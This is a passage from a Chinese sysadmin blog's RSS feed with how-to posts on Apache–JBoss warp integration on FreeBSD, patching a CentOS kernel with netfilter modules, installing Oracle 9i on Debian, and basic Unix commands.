<p>LoadModule webapp_module modules/mod_webapp.so

WebAppConnection con Warp :8008
#假设你发布了一个test
就应当加入
WebAppDeploy test con /test/
 </p>
<p>配置完成后,运行apachectl configtest和apachectl startssl命令启动apache </p>
<p>这就可以通过80端口访问jboss中的webapplication. </p>
<p>如果你以后发布什么内容,都需要修改WepAppDeploy一行 </p>
<p>添加相关的内容
测试,运行/usr/jboss/bin/下的run.sh
启动jboss-3.0
如果使用localhost/test/联接时可能会看到屏幕输出ERROR&#8230;
读过warpconnector的WarpLogger.java你可以看到,其实是由于connector的log处理问题,jboss就认为是ERROR.
另外,warpconnector是由tomcat容器管理的,在tomcat中
可以正常的关闭socket.而在jboss内嵌的tomcat中,使用jboss管理.
所以在关闭socket时会抛出一个异常(在关闭jboss时)
解决办法:
编译tomcat-webapp.jar </p>
<p>其实这个jar包跟$CATALINA_HOME/server/lib/warp.jar是一样的.
但是在jboss中发布warp.jar时,因为代码中有一些logger.log(&#8220;&#8230;&#8221;)
jboss会认为这是ERROR,会在屏幕上抛出异常,看着不舒服(不影响使用)
进入刚才的webapp目录下的java/&#8230;/warp/目录
主要修改WarpConnection.java和WarpConnector.java这两个文件中的logger.log(&#8220;&#8221;)
去掉就可以,或者你想作一些其他的改动也可以
回到webapp目录,拷贝build.properties.sample为build.properties
你需要作的是修改这个文件,指定catalina.home为你的CATALINA_HOME
这个例子中就是/usr/jakarta/jboss/catalina了.
然后运行: </p>
<p>ant </p>
<p>会在本目录build/lib目录生成一个tomcat-webapp.jar.
删除$CATALINA_HOME/server/lib/warp.jar
将tomcat-webapp.jar拷贝到$CATALINA_HOME/server/lib/目录
就可以.







</p>
<p>至于怎么开发我就不说.
jsp和servlet没有什么不同. </p>
<p>cmp2.0的例程可以在google搜索jboss3 cmp找到. </p>
<p>目前存在的问题是没有找到在jboss中使用cocoon2的方法(在单独运行的tomcat中是正常的) </p>
]]></description>
			<content:encoded><![CDATA[<p>一,所需软件:<br />
jdk-1.3.1 for freebsd build(软件仓库里有)<br />
apache-2.0.3*(最新版本为httpd-2.0.39)<br />
jboss-3.0-tomcat-4.0.3(最新)<br />
tomcat-4.0.4<br />
jakarta-tomcat-connector-4.0.2-src </p>
<p>postgresql-7.2.8<br />
1.安装jdk:<br />
到软件仓库下载,解开后里面有些pkg_add安装的包,安装即可<br />
设置环境变量<br />
PATH=$PATH:/usr/jdk/bin<br />
JAVA_HOME=/usr/jdk<br />
2.安装postgresql-7.2.8<br />
编译时注意&#8211;enable-multibyte<br />
安装在/usr/pgsql<br />
createdb -E EUC_CN test </p>
<p>2.安装jboss<br />
将jboss-3.0-tomcat-4.0.3的包解开为/usr/jboss<br />
目录下有个catalina,这就是tomcat-4.0.3<br />
删除,<br />
下载tomcat-4.0.4<br />
解开后拷贝到/usr/jboss/<br />
重命名为catalina </p>
<p>3.编译apache-2.0.39<br />
./configure &#8211;prefix=/usr/apache &#8211;enable-so &#8211;with-mpm=prefork<br />
make&#038;&#038;make install<br />
4.集成apache和jboss:<br />
很多文档推荐使用mod_jk.<br />
俺读了tomcat的源码和webapp的java源码,找到一种使用<br />
warp集成的方法.<br />
编译mod_webapp.so<br />
解开connector.<br />
cd webapp<br />
./support/buildconf.sh<br />
./configure &#8211;with-apxs=/usr/apache/bin/apxs<br />
cd apache-2.0<br />
make install<br />
会把mod_webapp.so拷贝到/usr/apache/modules目录<br />
修改/usr/jboss/server/default/deploy/tomcat4-service.xml文件.<br />
配置warpconnector<br />
在最后的<br />
<span id="more-929"></span><br />
</Server><br />
</attribute><br />
</mbean><br />
</server><br />
四行之前添加 </p>
<p><!-- Define an Apache-Connector Service --><br />
<Service name="Tomcat-Apache"><br />
<Connector className="org.apache.catalina.connector.warp.WarpConnector"<br />
port="8008" minProcessors="5" maxProcessors="75"<br />
enableLookups="true"<br />
acceptCount="10" debug="0"/><br />
</Service> </p>
<p>添加以上内容后,jboss的配置就完成. </p>
<p>配置apache </p>
<p>
<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
修改httpd.conf: </p>
<p>设定ServerName为合法的FQDN </p>
<p>在最后添加: </p>
<p>LoadModule webapp_module modules/mod_webapp.so<br />
<IfModule mod_webapp.c><br />
WebAppConnection con Warp <ServerName,根据实际情况>:8008<br />
#假设你发布了一个test<br />
就应当加入<br />
WebAppDeploy test con /test/<br />
</IfModule> </p>
<p>配置完成后,运行apachectl configtest和apachectl startssl命令启动apache </p>
<p>这就可以通过80端口访问jboss中的webapplication. </p>
<p>如果你以后发布什么内容,都需要修改WepAppDeploy一行 </p>
<p>添加相关的内容<br />
测试,运行/usr/jboss/bin/下的run.sh<br />
启动jboss-3.0<br />
如果使用localhost/test/联接时可能会看到屏幕输出ERROR&#8230;<br />
读过warpconnector的WarpLogger.java你可以看到,其实是由于connector的log处理问题,jboss就认为是ERROR.<br />
另外,warpconnector是由tomcat容器管理的,在tomcat中<br />
可以正常的关闭socket.而在jboss内嵌的tomcat中,使用jboss管理.<br />
所以在关闭socket时会抛出一个异常(在关闭jboss时)<br />
解决办法:<br />
编译tomcat-webapp.jar </p>
<p>其实这个jar包跟$CATALINA_HOME/server/lib/warp.jar是一样的.<br />
但是在jboss中发布warp.jar时,因为代码中有一些logger.log(&#8220;&#8230;&#8221;)<br />
jboss会认为这是ERROR,会在屏幕上抛出异常,看着不舒服(不影响使用)<br />
进入刚才的webapp目录下的java/&#8230;/warp/目录<br />
主要修改WarpConnection.java和WarpConnector.java这两个文件中的logger.log(&#8220;&#8221;)<br />
去掉就可以,或者你想作一些其他的改动也可以<br />
回到webapp目录,拷贝build.properties.sample为build.properties<br />
你需要作的是修改这个文件,指定catalina.home为你的CATALINA_HOME<br />
这个例子中就是/usr/jakarta/jboss/catalina了.<br />
然后运行: </p>
<p>ant </p>
<p>会在本目录build/lib目录生成一个tomcat-webapp.jar.<br />
删除$CATALINA_HOME/server/lib/warp.jar<br />
将tomcat-webapp.jar拷贝到$CATALINA_HOME/server/lib/目录<br />
就可以.<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
</p>
<p>至于怎么开发我就不说.<br />
jsp和servlet没有什么不同. </p>
<p>cmp2.0的例程可以在google搜索jboss3 cmp找到. </p>
<p>目前存在的问题是没有找到在jboss中使用cocoon2的方法(在单独运行的tomcat中是正常的) </p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/929.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>centos4.4 升级内核打netfilter补丁</title>
		<link>http://www.evanjiang.net.cn/archives/905.html</link>
		<comments>http://www.evanjiang.net.cn/archives/905.html#comments</comments>
		<pubDate>Sun, 12 Apr 2009 00:35:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[redhat linux]]></category>
		<category><![CDATA[centos4.4 升级内核打 netfilter补丁]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=905</guid>
		<description><![CDATA[<p>1、下载
linux-2.6.15.6.tar.bz2
patch-2.6.15.6.bz2
iptables-1.3.6.tar.bz2
patch-o-matic-ng-20061024.tar.bz2
2、解压缩
cd /usr/src
tar -jxf linux-2.6.15.6.tar.bz2
tar -jxf iptables-1.3.6.tar.bz2
tar -jxf patch-o-matic-ng-20061024.tar.bz2</p>
<p>3、内核先打补丁
cd /usr/src/linux-2.6.15.6
bunzip2 -dv /usr/src/patch-2.6.15.6.bz2 &#124; patch -p0
vi /usr/src/linux-2.6.15.6/include/linux/posix_types.h
#define __FD_SETSIZE 65536
vi /usr/src/linux-2.6.15.6/include/linux/fs.h
#define INR_OPEN 65536
#define NR_FILE 65536
vi /usr/src/linux-2.6.15.6/include/net/tcp.h
#define TCP_TIMEWAIT_LEN (1*HZ)
#define TCP_SYNACK_RETRIES 3</p>
<p>4、拷贝原来的config
cp /boot/config-2.6.9-42.ELsmp ./.config
注：我的是双cpu的机器，所以是ELsmp
make menuconfig</p>
<p>选择 Load an Alternate Configuration File
选择 .config
保存 退出</p>
<p>5、打netfilter补丁
cd /usr/src/path-o-matic-ng-20061024
./runme &#8211;download
注：上述命令选择下载ipp2p time等补丁
export KERNEL_DIR=/usr/src/linux-2.6.15.6
export IPTABLES_DIR=/usr/src/iptables-1.3.6
./runme ipp2p
./runme time
./runme connlimit

6、配置内核选项
networking
networking options
network packet filtering (replaces ipchains)
IP:Netfilter Configuration
把 ipp2p、time、 Connections/IP 选上</p>
<p>Security options
NSA [...]]]></description>
			<content:encoded><![CDATA[<p>1、下载<br />
linux-2.6.15.6.tar.bz2<br />
patch-2.6.15.6.bz2<br />
iptables-1.3.6.tar.bz2<br />
patch-o-matic-ng-20061024.tar.bz2<br />
2、解压缩<br />
cd /usr/src<br />
tar -jxf linux-2.6.15.6.tar.bz2<br />
tar -jxf iptables-1.3.6.tar.bz2<br />
tar -jxf patch-o-matic-ng-20061024.tar.bz2</p>
<p>3、内核先打补丁<br />
cd /usr/src/linux-2.6.15.6<br />
bunzip2 -dv /usr/src/patch-2.6.15.6.bz2 | patch -p0<br />
vi /usr/src/linux-2.6.15.6/include/linux/posix_types.h<br />
#define __FD_SETSIZE 65536<br />
vi /usr/src/linux-2.6.15.6/include/linux/fs.h<br />
#define INR_OPEN 65536<br />
#define NR_FILE 65536<br />
vi /usr/src/linux-2.6.15.6/include/net/tcp.h<br />
#define TCP_TIMEWAIT_LEN (1*HZ)<br />
#define TCP_SYNACK_RETRIES 3</p>
<p>4、拷贝原来的config<br />
cp /boot/config-2.6.9-42.ELsmp ./.config<br />
注：我的是双cpu的机器，所以是ELsmp<br />
make menuconfig</p>
<p>选择 Load an Alternate Configuration File<br />
选择 .config<br />
保存 退出</p>
<p>5、打netfilter补丁<br />
cd /usr/src/path-o-matic-ng-20061024<br />
./runme &#8211;download<br />
注：上述命令选择下载ipp2p time等补丁<br />
export KERNEL_DIR=/usr/src/linux-2.6.15.6<br />
export IPTABLES_DIR=/usr/src/iptables-1.3.6<br />
./runme ipp2p<br />
./runme time<br />
./runme connlimit<br />
<span id="more-905"></span><br />
6、配置内核选项<br />
networking<br />
networking options<br />
network packet filtering (replaces ipchains)<br />
IP:Netfilter Configuration<br />
把 ipp2p、time、 Connections/IP 选上</p>
<p>Security options<br />
NSA SELinux Support 选项 去除</p>
<p>同时保存 退出</p>
<p>vi /etc/sysconfig/selinux<br />
SELINUX=disabled<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
7、开始编译并安装<br />
make all<br />
make modules<br />
make modules_install<br />
make install</p>
<p>8、设置grub.conf<br />
设置default=0的相关项</p>
<p>重新启动计算机</p>
<p>9、安装新版本iptable<br />
cd /usr/src/iptables-1.3.6<br />
export KERNEL_DIR=/usr/src/linux-2.6.15.6<br />
export IPTABLES_DIR=/usr/src/iptables-1.3.6<br />
make BINDIR=/sbin LIBDIR=/lib MANDIR=/usr/share/man install<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
10、测试<br />
uname -r 显示内核版本<br />
iptables -V 显示iptables版本<br />
ulimit -a 显示最大打开文件等参数<br />
top 选择1 看多cpu支持情况</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/905.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Debian lenny/etch 安装Oracle 9i (简要)指南</title>
		<link>http://www.evanjiang.net.cn/archives/900.html</link>
		<comments>http://www.evanjiang.net.cn/archives/900.html#comments</comments>
		<pubDate>Thu, 09 Apr 2009 13:43:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[debian linux]]></category>
		<category><![CDATA[oracle]]></category>
		<category><![CDATA[debian  安装 oracle9i]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=900</guid>
		<description><![CDATA[<p>本(简要)指南基于X86系列,以debian 5.0为模板。 虚拟环境(ESXi 3.5)</p>
<p>前言：</p>
<p>由于项目需要，不得不在安装Oracle 9i 而不是10g .</p>
<p>内容：</p>
<p>1.基本条件.
安装debian 5.0 base-system, 然后安装gnome-desktop-environment. (KDE 也测试通过)</p>
<p>2.准备工作
  1)调整系统内核参数.
   根据ORACLE 官网的教程进行调整:
   ;</p>
<p>#############################################
cat >> /etc/sysctl.conf 





        2) 链接文件找不到的错误
        然后创建 /usr/lib/libstdc++-libc6.1-1.so.2 -> libstdc++-libc6.2-2.so.3 的链接
        否则出现1.error while loading [...]]]></description>
			<content:encoded><![CDATA[<p>本(简要)指南基于X86系列,以debian 5.0为模板。 虚拟环境(ESXi 3.5)</p>
<p>前言：</p>
<p>由于项目需要，不得不在安装Oracle 9i 而不是10g .</p>
<p>内容：</p>
<p>1.基本条件.<br />
安装debian 5.0 base-system, 然后安装gnome-desktop-environment. (KDE 也测试通过)</p>
<p>2.准备工作<br />
  1)调整系统内核参数.<br />
   根据ORACLE 官网的教程进行调整:<br />
   <http://www.oracle.com/technology/pub/articles/smiley_10gdb_install.html>;</p>
<p>#############################################<br />
cat >> /etc/sysctl.conf <<EOF<br />
        kernel.shmall = 2097152<br />
        kernel.shmmax = 536870912<br />
        kernel.shmmni = 4096<br />
        kernel.sem = 250 32000 100 128<br />
        fs.file-max = 65536 #debian 5.0 在ESXi下默认101858 当然是大点好阿<br />
        net.ipv4.ip_local_port_range = 1024 65000<br />
        net.core.rmem_default=262144<br />
        net.core.wmem_default=262144<br />
        net.core.rmem_max=262144<br />
        net.core.wmem_max=262144<br />
        EOF</p>
<p>        /sbin/sysctl -p #让其立即生效<br />
##############################################</p>
<p>   2)添加用户和组<br />
##############################################<br />
        /usr/sbin/groupadd oinstall<br />
        /usr/sbin/groupadd dba<br />
        /usr/sbin/useradd -m -g oinstall -G dba oracle</p>
<p>    passwd oracle  ##为用户oracle 设置密码<br />
    然后修改/etc/passwd 中oracle 使用bash  默认的使用sh.</p>
<p>##############################################<br />
<span id="more-900"></span><br />
        3)设置环境变量<br />
    添加以下内容到oracle的.bashrc中<br />
##############################################<br />
        export LC_ALL=en_US.UTF-8<br />
        export ORACLE_BASE=/u01/app/oracle<br />
        export ORACLE_HOME=$ORACLE_BASE/OEM #我们设置放置的位置。<br />
        export ORACLE_TERM=xterm #此处可修改为gnome-terminal 或其他你喜好的终端<br />
        export ORACLE_SID=test  #修改此处为你要设置的SID<br />
        export LD_LIBRARY_PATH=$ORACLE_HOME/lib:/lib:/usr/lib<br />
        export PATH=$PATHORACLE_HOME/bin<br />
        export CLASSPATH=$ORACLE_HOME/JREORACLE_HOME/jlibORACLE_HOME/rdbms/jlibORACLE_HOME/network/jlib<br />
        #export LD_PRELOAD=/usr/lib/libcwait.so<br />
##############################################<br />
   4)下载Oracle 9i for linux 的安装盘.<br />
      保存于文件夹属性为oracleinstall 的文件夹下。<br />
      例如： /home/oracle/<br />
3. 解决安装过程中可能出现的问题.<br />
        1) 安装编译环境. gcc make 等<br />
        Oracle 9i 基于 gcc 2.95 需要<br />
    安装gcc-2.95 和 g++-2.95<br />
        把默认的gcc 的链接修改为 到gcc-2.95的链接<br />
        添加etch 的源，update.<br />
##############################################<br />
        aptitude install gcc-2.95 g++-2.95<br />
        ln -s /usr/bin/gcc-2.95 /usr/bin/gcc<br />
##############################################<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
        2) 链接文件找不到的错误<br />
        然后创建 /usr/lib/libstdc++-libc6.1-1.so.2 -> libstdc++-libc6.2-2.so.3 的链接<br />
        否则出现1.error while loading shared libraries:<br />
        libstdc++-libc6.1-1.so.2: cannot open shared object file: No such file or directory<br />
##############################################<br />
        ln -s /usr/lib/libstdc++-libc6.2-2.so.3  /usr/lib/libstdc++-libc6.1-1.so.2<br />
##############################################<br />
        3)libdb1-compat 这个是必须的否则会在安装过程中出错<br />
##############################################<br />
        aptitude install libdb1-compat<br />
##############################################<br />
        4)在vmware中安装的时候注意：把hostname 加到 /etc/hosts 中，不要用dhcp,否则出现个<br />
                Parameter &#8220;nodeinfo&#8221; = NO_VALUE 错误 (vmware server 1.x)<br />
        5)Unable to load native library: /tmp/OraInstallxxxx/jre/lib/i386/libjava.so: symbol __libc_wait, version GLIBC_2.0 not defined in                         file libc.so.6 with link time reference<br />
##############################################<br />
        取消/home/oracle/.bashrc中<br />
        #export LD_PRELOAD=/usr/lib/libcwait.so<br />
    处的&#8221;#&#8221;号<br />
    把附件中的libcwait.so.zip 解压然后 把libcwait.so文件拷贝到&#8221;/usr/lib/&#8221;中<br />
##############################################</p>
<p>4 安装<br />
   以用户oracle 的身份登录桌面.<br />
   进入放置Oracle 9i 的安装盘进行安装。<br />
   安装路径放在我们预先设置好的/u01/app/oracle/OEM 处即$ORACLE_HOME<br />
5 创建数据库</p>
<p>  我们用dbca 来创建数据库。<br />
  首先解决建库过程中出现的错误。</p>
<p>        1. rm $ORACLE_HOME/JRE (此JRE目录是1.1.8 的符号链接)<br />
        2. ln -s $ORACLE_BASE/jre/1.3.1 $ORACLE_HOME/JRE<br />
        3. cd $ORACLE_BASE/jre/1.3.1/bin<br />
        4. ln -s java jre<br />
        5. cd i386/native_threads/<br />
        6.ln -s java jre</p>
<p>  期间会需要给root权限给 root.sh 当你留空升级组的时候.<br />
  设置你的数据库名称，SID 我们设置为test.（合前面的SID相吻合）<br />
  忽略ORA-29807 ORA-01430 错误。<br />
  解决方法见：http://blog.csdn.net/grant85612/archive/2008/03/14/2182882.aspx</p>
<p>        访问数据库:<br />
        开个终端, sqlplus &#8220;sys/system as sysdba&#8221; 现在你已经能访问你的数据库了。<br />
    根据$ORACLE_HOME/network/admin/sample 中的范例设置你的监听端口等等。</p>
<p>        Web 方式:<br />
    启用web方式 $ORACLE_HOME/Apache/Apcache/bin/./apachectl start<br />
        $ORACLE_HOME/Apache/Apache/bin/http</p>
<p>http://hpserv01:7777/isqlplus</p>
<p>http://hpserv01:7777/isqlplusdba</p>
<p>        首先需要初始化用户密码:<br />
        $ cd $ORACLE_HOME/sqlplus/admin<br />
        $ORACLE_HOME/Apache/Apache/bin/htpasswd iplusdba.pw oracle</p>
<p>6.这次关于RAW 方面的没有测试， 已经在ESXi 3.5 上做了软的 Raw .<br />
先在把上次的 Etch 中添加raw 的一些东西贴出来，（未加整理）<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
创建裸设备<br />
首先确保有raw加载<br />
lsmod |grep raw<br />
如果无者加入： modprobe raw<br />
然后<br />
=============================================================================<br />
建立文件/etc/rawconfig，内容如下<br />
# This file and interface are deprecated.<br />
# Applications needing raw device access should open regular<br />
# block devices with O_DIRECT.<br />
# raw device bindings<br />
# format:  <rawdev> <major> <minor><br />
#          <rawdev> <blockdev><br />
# example: /dev/raw/raw1 /dev/sda1<br />
#          /dev/raw/raw2 8 5<br />
#/dev/raw/raw1 /dev/sdb1  #去掉&#8221;#&#8221; 修改成的需要的设备<br />
/dev/.static/dev/raw/raw1 /dev/sdb1<br />
#/dev/raw/raw2 /dev/sdb2<br />
#/dev/raw/raw3 /dev/sdb3<br />
#/dev/raw/raw4 /dev/sdb4<br />
=============================================================================<br />
建立文件/etc/init.d/rawdevices,内容如下：<br />
#!/bin/bash<br />
#<br />
# rawdevices       This shell script assignes rawdevices to block devices<br />
#<br />
# chkconfig: 345 56 44<br />
# description: This scripts assignes raw devices to block devices \<br />
#              (such as hard drive partitions). This is for the use \<br />
#              of applications such as Oracle. You can set up the \<br />
#              raw device to block device mapping by editing \<br />
#              the file /etc/sysconfig/rawdevices. Note that the use \<br />
#              of raw devices is deprecated, and applications should \<br />
#              open regular block devices with O_DIRECT instead.<br />
#<br />
# config: /etc/sysconfig/rawdevices</p>
<p>[ -f /sbin/raw ] || exit 0<br />
[ -f /etc/rawconfig ] || exit 0<br />
# Exit if the file just has the default comments.<br />
LC_ALL=C /bin/egrep -q -v &#8220;^ *#&#8221; /etc/rawconfig 2>/dev/null || exit 0</p>
<p>function assign_raw()<br />
{<br />
   LC_ALL=C egrep -v &#8216;^ *#&#8217; /etc/rawconfig |<br />
   while read RAW BLOCK; do<br />
     if [ -n "$RAW" -a -n "$BLOCK" ]; then<br />
         rawdirname=${RAW%/*}<br />
         if [ "$rawdirname" = "/dev" -a -d /dev/raw ]; then<br />
           echo $&#8221;  Please correct your /etc/rawconfig:&#8221;<br />
           echo $&#8221;     rawdevices are now located in the directory /dev/raw/ &#8221;<br />
           echo $&#8221;  If the command &#8216;raw&#8217; still refers to /dev/raw as a file.&#8221;<br />
           echo $&#8221;   you&#8217;ll have to upgrade your util-linux package&#8221;<br />
           exit 0<br />
         fi<br />
         if [ "$rawdirname" = "/dev/raw" -a -f /dev/raw ]; then<br />
           echo $&#8221;  Please correct your /etc/rawconfig:&#8221;<br />
           echo $&#8221;     rawdevices are now located in the directory /dev/raw/ &#8221;<br />
           echo $&#8221;  If the command &#8216;raw&#8217; still refers to /dev/raw as a file.&#8221;<br />
           echo $&#8221;   you&#8217;ll have to upgrade your util-linux package&#8221;<br />
           exit 0<br />
         fi</p>
<p>       echo &#8221;           $RAW  &#8211;>   $BLOCK&#8221;;<br />
       raw $RAW $BLOCK<br />
     fi<br />
   done<br />
}</p>
<p># See how we were called.<br />
case &#8220;$1&#8243; in<br />
  start)<br />
        # Assign devices<br />
        echo $&#8221;Assigning devices: &#8221;<br />
        assign_raw<br />
        echo $&#8221;done&#8221;<br />
        ;;<br />
  stop)<br />
        # No action to be taken here<br />
        ;;</p>
<p>  status)<br />
        ID=`id -u`<br />
        if [ $ID -eq 0 ]; then<br />
          raw -qa<br />
        else<br />
          echo $&#8221;You need to be root to use this command ! &#8221;<br />
        fi<br />
        ;;</p>
<p>  restart|reload)<br />
        $0 start<br />
        ;;</p>
<p>  *)<br />
        echo $&#8221;Usage: $0 {start|stop|status|restart}&#8221;<br />
        exit 1<br />
esac</p>
<p>exit 0<br />
================================================================================<br />
出现以下错误的解决方法<br />
Cannot open raw device &#8216;/dev/rawctl&#8217; (No such file or directory)<br />
mknod /dev/rawctl c 162 0<br />
cd /dev<br />
.MAKEDEV raw<br />
位置在这里/dev/.static/dev/raw/raw1 别弄错<br />
开机自动加载raw模块<br />
编辑/etc/modules<br />
添加raw</p>
<p>结语：<br />
    掌握是一个过程。</p>
<p>补充：<br />
出现该错误:<br />
/lib/i386/libawt.so: libXp.so.6: cannot open shared object file: No such file or directory</p>
<p>安装 libxp6 即可解决～</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/900.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>unix常用指令及参数</title>
		<link>http://www.evanjiang.net.cn/archives/893.html</link>
		<comments>http://www.evanjiang.net.cn/archives/893.html#comments</comments>
		<pubDate>Wed, 08 Apr 2009 13:48:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[debian linux]]></category>
		<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[netbsd unix]]></category>
		<category><![CDATA[openbsd unix]]></category>
		<category><![CDATA[other linux]]></category>
		<category><![CDATA[redhat linux]]></category>
		<category><![CDATA[sco unix]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[sun unix]]></category>
		<category><![CDATA[suse linux]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[unix 常用命令 及参数]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=893</guid>
		<description><![CDATA[<p>常用组合键
ctrl+h,backspace :删除前面的字符.
ctrl+u:删除一整行.
ctrl+c,del,break: 强行终止正在运行的程序.
ctrl+d:
常用指令
1.date:查看当前时间.
2.cal:查看某一个月的月历.
3.Finger 命令:显示一个用户的详细信息.
4.who命令:显示所有登陆用户.who an i
5.clear 命令:执行清屏动作.
6.echo 命令:将命令名后跟随的参数显示在屏幕echo hello </p>
<p>world
7.banner 命令:将命令名后跟的ACSSII字符串以大字的方式显</p>
<p>示在屏幕上banner hello
8.wc 命令:用于计算一个指定的文件中的行数单词及字符数:
   格式wc[-c(计算字符的数目)] [-l(计算行的数目)] [-w(计算</p>
<p>单词的数目)] filename
9.passwd 命令,用于修改口令.
10.man 命令:联机手册
六.shell的基本功能:命令解释器,程序设计语言.
shell的退出命令.
1.exit 主要用于退出B_shell
2.logout 主要用于退出C_shell
3.ctrl+d 用于退出各类shell
第三章 通信
内部通信
外部通信





下.
mail命令模式常用命令
 如有下页则显示,否则退出mail.
p      显示本邮件信息
d      删除当前邮件
n      显示下一个邮件
q      退出 mail,把末删除的邮件保存到个人邮箱中.
R     [...]]]></description>
			<content:encoded><![CDATA[<p>常用组合键<br />
ctrl+h,backspace :删除前面的字符.<br />
ctrl+u:删除一整行.<br />
ctrl+c,del,break: 强行终止正在运行的程序.<br />
ctrl+d:<br />
常用指令<br />
1.date:查看当前时间.<br />
2.cal:查看某一个月的月历.<br />
3.Finger 命令:显示一个用户的详细信息.<br />
4.who命令:显示所有登陆用户.who an i<br />
5.clear 命令:执行清屏动作.<br />
6.echo 命令:将命令名后跟随的参数显示在屏幕echo hello </p>
<p>world<br />
7.banner 命令:将命令名后跟的ACSSII字符串以大字的方式显</p>
<p>示在屏幕上banner hello<br />
8.wc 命令:用于计算一个指定的文件中的行数单词及字符数:<br />
   格式wc[-c(计算字符的数目)] [-l(计算行的数目)] [-w(计算</p>
<p>单词的数目)] filename<br />
9.passwd 命令,用于修改口令.<br />
10.man 命令:联机手册<br />
六.shell的基本功能:命令解释器,程序设计语言.<br />
shell的退出命令.<br />
1.exit 主要用于退出B_shell<br />
2.logout 主要用于退出C_shell<br />
3.ctrl+d 用于退出各类shell<br />
第三章 通信<br />
内部通信<br />
外部通信<1,电子邮件,2.即时通信<br />
一.即时通讯<br />
1.write 交谈命令 (半双工通信)<br />
格式 write student1<br />
ctrl+d 退出write<br />
Write协议:消息发送结束用O(结束)<br />
结束谈话用OO(结束并退出)<br />
2.mesg 消息开关命令.用于查询和开关本终端的消息接收状态.<br />
格式:mesg [-y] [-n]<br />
$ mesg 查询本终端当前的消息接收状态<br />
is y 可以接收消息<br />
is n 拒绝接收消息<br />
$ mesg n 设置关闭状态<br />
$ mesg y 设置打开状态<br />
3.talk 双向通信命令 (全双工方式)<br />
4.wall 广播信息命令<br />
二,电子邮件<br />
$ mail username  发送邮件<br />
$ mail                 接收邮件<br />
系统邮箱:在/usr/mail或/var/mail下,每个用户都有一个以其名字</p>
<p>命名的邮箱.例如:student8的系统邮箱可能为:/var/mail/student8<br />
个人邮箱:个人邮箱通常为用户自己的主目录(home)下的mbox<br />
<span id="more-893"></span><br />
文件.用户读过的邮件如果末删除或转存,则存放在个人邮箱中</p>
<p>.例如:student8的个人邮箱可能是:/home/student8/mbox<br />
1.发送邮件:<br />
$ mail student8<br />
给多个用户发送邮件<br />
a.$ mail student1 student2 student3 把用户列出来.<br />
b.$ mail TEACHER TEACHER为用户组名,即向属于TEACHER</p>
<p>组所有用记发邮件.<br />
c.$ alias usr_list student1 student2 student3给student1 student2 </p>
<p>student3等多个名字建立一个部的别名usr_list,该别名只在本</p>
<p>shell中起作用,退出shell后无效.<br />
$ mail usr_list<br />
把已有的文件作为邮件发送给用户:<br />
$ mail student8 < my_letter<br />
发邮件给不存在的用户:<br />
$ mail meizhegeren<br />
mail命令本身能正常执行,由于无有效的接收方,所以系统把邮</p>
<p>件退回到用户主目录下dead.letter中.<br />
2.接收邮件<br />
不带参数输入mial表示读取邮件.此时已进入出境mail命令模式<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
下.<br />
mail命令模式常用命令<br />
<cr> 如有下页则显示,否则退出mail.<br />
p      显示本邮件信息<br />
d      删除当前邮件<br />
n      显示下一个邮件<br />
